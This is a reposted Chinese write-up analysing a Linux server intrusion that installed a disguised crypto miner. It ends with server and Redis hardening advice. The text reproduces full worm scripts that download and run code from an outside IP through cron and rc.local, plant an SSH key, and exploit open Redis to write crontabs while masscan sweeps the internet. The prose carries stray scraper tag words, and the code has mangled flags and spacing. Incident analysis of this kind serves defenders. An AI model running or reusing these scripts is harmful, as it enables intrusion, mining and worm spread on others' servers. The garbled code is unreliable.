[轉]記一次linux(被)入侵,服務器變礦機~

0x00 背景

週一早上剛到辦公室,就聽到同事說有一臺服務器登錄不上了,我也沒放在心上,繼續邊吃早點,邊看幣價是否是又跌了。不一會運維的同事也到了,氣喘吁吁的說:咱們有臺服務器被阿里雲凍結了,理由:對外惡意發包。我放下酸菜餡的包子,ssh連了一下,被拒絕了,問了下默認的22端口被封了。讓運維的同事把端口改了一下,立馬連上去,順便看了一下登陸名:root,還有不足8位的小白密碼,內心一涼:被黑了!php


0x01 查找線索

服務器系統CentOS 6.X,部署了nginx,tomcat,redis等應用,上來先把數據庫全備份到本地,而後top命令看了一下,有2個99%的同名進程還在運行,叫gpg-agentd。
圖1
google了一下gpg,結果是:html

GPG提供的gpg-agent提供了對SSH協議的支持,這個功能能夠大大簡化密鑰的管理工做。python

 

看起來像是一個很正經的程序嘛,但仔細再看看服務器上的進程後面還跟着一個字母d,假裝的很好,讓人想起來windows上各類看起來像svchost.exe的病毒。繼續nginx

1
2
ps eho command  - 23374
netstat  - pan | grep  23374

查看pid:23374進程啓動路徑和網絡情況,也就是來到了圖1的目錄,到此已經找到了黑客留下的二進制可執行文件。接下來還有2個問題在等着我:git

1,文件是怎麼上傳的?
2,這個文件的目的是什麼,或是黑客想幹嗎?github

 

history看一下,記錄果真都被清掉了,沒留下任何痕跡。繼續命令more messages,
圖2
看到了在半夜12點左右,在服務器上裝了不少軟件,其中有幾個軟件引發了個人注意,下面詳細講。邊找邊猜,若是咱們要作壞事,大概會在哪裏作文章,自動啓動?定時啓動?對,計劃任務。redis

1
crontab  - e

圖3
果真,線索找到了。shell


0x02 做案動機

上面的計劃任務的意思就是每15分鐘去服務器上下載一個腳本,而且執行這個腳本。咱們把腳本下載下來看一下。數據庫

1
curl  - fsSL  159.89 . 190.243 / ash.php > ash.sh

腳本內容以下:windows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
uname  - a
id
hostname
setenforce  0  2 > / dev / null
ulimit  - 50000
ulimit  - 50000
crontab  - 2 > / dev / null
rm  - rf  / var / spool / cron / *  2 > / dev / null
mkdir  - / var / spool / cron / crontabs  2 > / dev / null
mkdir  - / root / .ssh  2 > / dev / null
echo  'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX'  / root / .ssh / authorized_keys
echo  '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh'  / var / spool / cron / root
echo  '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh'  / var / spool / cron / crontabs / root
 
yum install  - y bash  2 > / dev / null
apt install  - y bash  2 > / dev / null
apt - get install  - y bash  2 > / dev / null
 
bash  - 'curl -fsSL 159.89.190.243/bsh.php|bash'  2 > / dev / null

大體分析一下該腳本的主要用途:

首先是關閉SELinux,解除shell資源訪問限制,而後在/root/.ssh/authorized_keys文件中生成ssh公鑰,這樣每次黑客登陸這臺服務器就能夠免密碼登陸了,執行腳本就會方便不少,關於ssh keys的文章能夠參考這一篇文章SSH原理與運用。接下來安裝bash,最後是繼續下載第二個腳本bsh.php,而且執行。

 

繼續下載並分析bsh.pbp,內容以下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
sleep $( seq  3  7  | sort  - R | head  - n1 )
cd  / tmp || cd  / var / tmp
sleep  1
mkdir  - p .ICE - unix / ... && chmod  - 777  .ICE - unix && cd .ICE - unix / ...
sleep  1
if  - f .watch ]; then
rm  - rf .watch
exit  0
fi
sleep  1
echo  1  > .watch
sleep  1
ps x | awk  '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}'  | xargs kill  - 9  2 > / dev / null
ps x | awk  '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}'  | xargs kill  - 9  2 > / dev / null
sleep  1
if  ! [  - / usr / bin / gpg - agentd ]; then
curl  - - / usr / bin / gpg - agentd  159.89 . 190.243 / dump.db
echo  '/usr/bin/gpg-agentd'  / etc / rc.local
echo  'curl -fsSL 159.89.190.243/ash.php|sh'  >>  / etc / rc.local
echo  'exit 0'  >>  / etc / rc.local
fi
sleep  1
chmod  + / usr / bin / gpg - agentd &&  / usr / bin / gpg - agentd || rm  - rf  / usr / bin / gpg - agentd
sleep  1
if  ! [  - "$(command -v masscan)"  ]; then
rm  - rf  / var / lib / apt / lists / *
rm  - rf x1.tar.gz
if  - "$(command -v apt-get)"  ]; then
export DEBIAN_FRONTEND = noninteractive
apt - get update  - y
apt - get install  - y debconf - doc
apt - get install  - y build - essential
apt - get install  - y libpcap0. 8 - dev libpcap0. 8
apt - get install  - y libpcap *
apt - get install  - y make gcc git
apt - get install  - y redis - server
apt - get install  - y redis - tools
apt - get install  - y redis
apt - get install  - y iptables
apt - get install  - y wget curl
fi
if  - "$(command -v yum)"  ]; then
yum update  - y
yum install  - y epel - release
yum update  - y
yum install  - y git iptables make gcc redis libpcap libpcap - devel
yum install  - y wget curl
fi
sleep  1
curl  - sL  - o x1.tar.gz https: / / github.com / robertdavidgraham / masscan / archive / 1.0 . 4.tar .gz
sleep  1
- f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan - 1.0 . 4  && make && make install && cd .. && rm  - rf masscan - 1.0 . 4
fi
sleep  3  && rm  - rf .watch
bash  - 'curl -fsSL 159.89.190.243/rsh.php|bash'  2 > / dev / null

這段腳本的代碼比較長,但主要的功能有4個:

1,下載遠程代碼到本地,添加執行權限,chmod u+x。
2,修改rc.local,讓本地代碼開機自動執行。
3,下載github上的開源掃描器代碼,並安裝相關的依賴軟件,也就是我上面的messages裏看到的記錄。
4,下載第三個腳本,而且執行。

 

我去github上看了下這個開源代碼,簡直吊炸天。

MASSCAN: Mass IP port scanner
This is the fastest Internet port scanner. It can scan the entire Internet in under 6 minutes, > transmitting 10 million packets per second.

It produces results similar to nmap, the most famous port scanner. Internally, it operates more > like scanrand, unicornscan, and ZMap, using asynchronous transmission. The major difference is > that it's faster than these other scanners. In addition, it's more flexible, allowing arbitrary > address ranges and port ranges.

NOTE: masscan uses a custom TCP/IP stack. Anything other than simple port scans will cause conflict with the local TCP/IP stack. This means you need to either use the -S option to use a separate IP address, or configure your operating system to firewall the ports that masscan uses.

 

transmitting 10 million packets per second(每秒發送1000萬個數據包),比nmap速度還要快,這就不難理解爲何阿里雲把服務器凍結了,大概看了下readme以後,我也沒有細究,繼續下載第三個腳本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
setenforce  0  2 > / dev / null
ulimit  - 50000
ulimit  - 50000
sleep  1
iptables  - INPUT  1  - p tcp  - - dport  6379  - j DROP  2 > / dev / null
iptables  - INPUT  1  - p tcp  - - dport  6379  - 127.0 . 0.1  - j ACCEPT  2 > / dev / null
sleep  1
rm  - rf .dat .shard .ranges .lan  2 > / dev / null
sleep  1
echo  'config set dbfilename "backup.db"'  > .dat
echo  'save'  >> .dat
echo  'flushall'  >> .dat
echo  'set backup1 "\n\n\n*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"'  >> .dat
echo  'set backup2 "\n\n\n*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"'  >> .dat
echo  'set backup3 "\n\n\n*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"'  >> .dat
echo  'set backup4 "\n\n\n*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"'  >> .dat
echo  'config set dir "/var/spool/cron/"'  >> .dat
echo  'config set dbfilename "root"'  >> .dat
echo  'save'  >> .dat
echo  'config set dir "/var/spool/cron/crontabs"'  >> .dat
echo  'save'  >> .dat
sleep  1
masscan  - - max - rate  10000  - p6379, 6380  - - shard $( seq  1  22000  | sort  - R | head  - n1 ) / 22000  - - exclude  255.255 . 255.255  0.0 . 0.0 / 0  2 > / dev / null | awk  '{print $6, substr($4, 1, length($4)-4)}'  | sort | uniq > .shard
sleep  1
while  read  - r h p; do
cat .dat | redis - cli  - h $h  - p $p  - - raw  2 > / dev / null  1 > / dev / null &
done < .shard
sleep  1
masscan  - - max - rate  10000  - p6379, 6380  192.168 . 0.0 / 16  172.16 . 0.0 / 16  116.62 . 0.0 / 16  116.232 . 0.0 / 16  116.128 . 0.0 / 16  116.163 . 0.0 / 16  2 > / dev / null | awk  '{print $6, substr($4, 1, length($4)-4)}'  | sort | uniq > .ranges
sleep  1
while  read  - r h p; do
cat .dat | redis - cli  - h $h  - p $p  - - raw  2 > / dev / null  1 > / dev / null &
done < .ranges
sleep  1
ip a | grep  - oE  '([0-9]{1,3}.?){4}/[0-9]{2}'  2 > / dev / null | sed  's/\/\([0-9]\{2\}\)/\/16/g'  > .inet
sleep  1
masscan  - - max - rate  10000  - p6379, 6380  - iL .inet | awk  '{print $6, substr($4, 1, length($4)-4)}'  | sort | uniq > .lan
sleep  1
while  read  - r h p; do
cat .dat | redis - cli  - h $h  - p $p  - - raw  2 > / dev / null  1 > / dev / null &
done < .lan
sleep  60
rm  - rf .dat .shard .ranges .lan  2 > / dev / null

若是說前兩個腳本只是在服務器上下載執行了二進制文件,那這個腳本才真正顯示病毒的威力。下面就來分析這個腳本。

一開始的修改系統環境沒什麼好說的,接下來的寫文件操做有點眼熟,若是用過redis的人,應該能猜到,這裏是對redis進行配置。寫這個配置,天然也就是利用了redis把緩存內容寫入本地文件的漏洞,結果就是用本地的私鑰去登錄被寫入公鑰的服務器了,無需密碼就能夠登錄,也就是咱們文章最開始的/root/.ssh/authorized_keys。登陸以後就開始按期執行計劃任務,下載腳本。好了,配置文件準備好了,就開始利用masscan進行全網掃描redis服務器,尋找肉雞,注意看這6379就是redis服務器的默認端口,若是你的redis的監聽端口是公網IP或是0.0.0.0,而且沒有密碼保護,很差意思,你就中招了。


0x03 總結

經過依次分析這3個腳本,就能看出這個病毒的可怕之處,先是經過寫入ssh public key 拿到登陸權限,而後下載執行遠程二進制文件,最後再經過redis漏洞複製,迅速在全網傳播,以指數級速度增加。那麼問題是,這臺服務器是怎麼中招的呢?看了下redis.conf,bind的地址是127.0.0.1,沒啥問題。由此能夠推斷,應該是root賬號被暴力破解了,爲了驗證個人想法,我lastb看了一下,果真有大量的記錄:
圖4
還剩最後一個問題,這個gpg-agentd程序究竟是幹什麼的呢?我當時的第一個反應就是礦機,由於如今數字貨幣太火了,加大了分佈式礦機的需求,也就催生了這條灰色產業鏈。因而,順手把這個gpg-agentd拖到ida中,用string搜索bitcoin, eth, mine等相關單詞,最終發現了這個:
圖5


 

打開nicehash.com看一下,一切都清晰了。
圖6


0x04 安全建議

一,服務器

1,禁用ROOT
2,用戶名和密碼儘可能複雜
3,修改ssh的默認22端口
4,安裝DenyHosts防暴力破解軟件
5,禁用密碼登陸,使用RSA公鑰登陸

二,redis

1,禁用公網IP監聽,包括0.0.0.0
2,使用密碼限制訪問redis
3,使用較低權限賬號運行redis

 

到此,整個入侵過程基本分析完了,若是你們對樣本有興趣,也能夠自行去curl,或是去虛擬機執行上面的腳本。鑑於本人能力有限,文中不免會出現疏忽或是錯誤,還請你們多多指正。

相關文章
相關標籤/搜索